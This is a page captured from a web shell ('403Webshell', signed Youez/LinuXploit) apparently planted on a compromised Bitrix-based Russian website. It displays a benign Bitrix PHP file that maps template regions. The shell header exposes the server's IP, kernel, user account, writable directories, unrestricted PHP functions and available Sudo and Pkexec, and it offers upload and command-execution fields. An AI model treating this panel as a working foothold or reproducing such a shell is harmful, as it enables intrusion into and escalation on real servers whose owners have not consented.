403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/Mainpage/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/Mainpage/TemplateRegions.php
<?php

declare(strict_types=1);

namespace Bitrix\Landing\Mainpage;

use Bitrix\Main\Application;

enum TemplateRegions: string
{
	case EnterpriseWestAr = 'alaio.vibe_enterprise_west_ar';
	case EnterpriseWestBr = 'alaio.vibe_enterprise_west_br';
	case EnterpriseWestDe = 'alaio.vibe_enterprise_west_de';
	case EnterpriseWestEn = 'alaio.vibe_enterprise_west_en';
	case EnterpriseWestFr = 'alaio.vibe_enterprise_west_fr';
	case EnterpriseWestId = 'alaio.vibe_enterprise_west_id';
	case EnterpriseWestIt = 'alaio.vibe_enterprise_west_it';
	case EnterpriseWestJa = 'alaio.vibe_enterprise_west_ja';
	case EnterpriseWestKz = 'alaio.vibe_enterprise_west_kz';
	case EnterpriseWestLa = 'alaio.vibe_enterprise_west_la';
	case EnterpriseWestMs = 'alaio.vibe_enterprise_west_ms';
	case EnterpriseWestPl = 'alaio.vibe_enterprise_west_pl';
	case EnterpriseWestTh = 'alaio.vibe_enterprise_west_th';
	case EnterpriseWestTr = 'alaio.vibe_enterprise_west_tr';
	case EnterpriseWestVn = 'alaio.vibe_enterprise_west_vn';
	//for zones 'cn', 'tc', 'sc'
	case EnterpriseChineseEn = 'alaio.vibe_enterprise_chinese_en';
	case EnterpriseChineseSc = 'alaio.vibe_enterprise_chinese_sc';
	case EnterpriseChineseTc = 'alaio.vibe_enterprise_chinese_tc';
	//for zones 'ru', 'by', 'kz'
	case EnterpriseRu = 'bitrix.vibe_enterprise_ru';

	public static function resolve(Templates $code): string
	{
		$regionCode = null;

		switch ($code)
		{
			case Templates::Enterprise:
				$portalZone = \CBitrix24::getPortalZone();
				$lang = Application::getInstance()->getContext()->getLanguage();
				if (in_array($portalZone, ['ru', 'by', 'kz']))
				{
					$regionCode = self::EnterpriseRu;
				}
				elseif (in_array($portalZone, ['cn', 'tc', 'sc']))
				{
					$regionCodes = [
						'en' => self::EnterpriseChineseEn,
						'sc' => self::EnterpriseChineseSc,
						'tc' => self::EnterpriseChineseTc,
					];
					$regionCode = $regionCodes[$lang] ?? self::EnterpriseChineseEn;
				}
				else
				{
					$regionCodes = [
						'ar' => self::EnterpriseWestAr,
						'br' => self::EnterpriseWestBr,
						'de' => self::EnterpriseWestDe,
						'en' => self::EnterpriseWestEn,
						'fr' => self::EnterpriseWestFr,
						'id' => self::EnterpriseWestId,
						'it' => self::EnterpriseWestIt,
						'ja' => self::EnterpriseWestJa,
						'kz' => self::EnterpriseWestKz,
						'la' => self::EnterpriseWestLa,
						'ms' => self::EnterpriseWestMs,
						'pl' => self::EnterpriseWestPl,
						'th' => self::EnterpriseWestTh,
						'tr' => self::EnterpriseWestTr,
						'vn' => self::EnterpriseWestVn,
						'ru' => self::EnterpriseWestEn,
						'ua' => self::EnterpriseWestEn,
					];
					$regionCode = $regionCodes[$lang] ?? self::EnterpriseWestEn;
				}

				break;
		}

		return 'market/' . $regionCode->value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit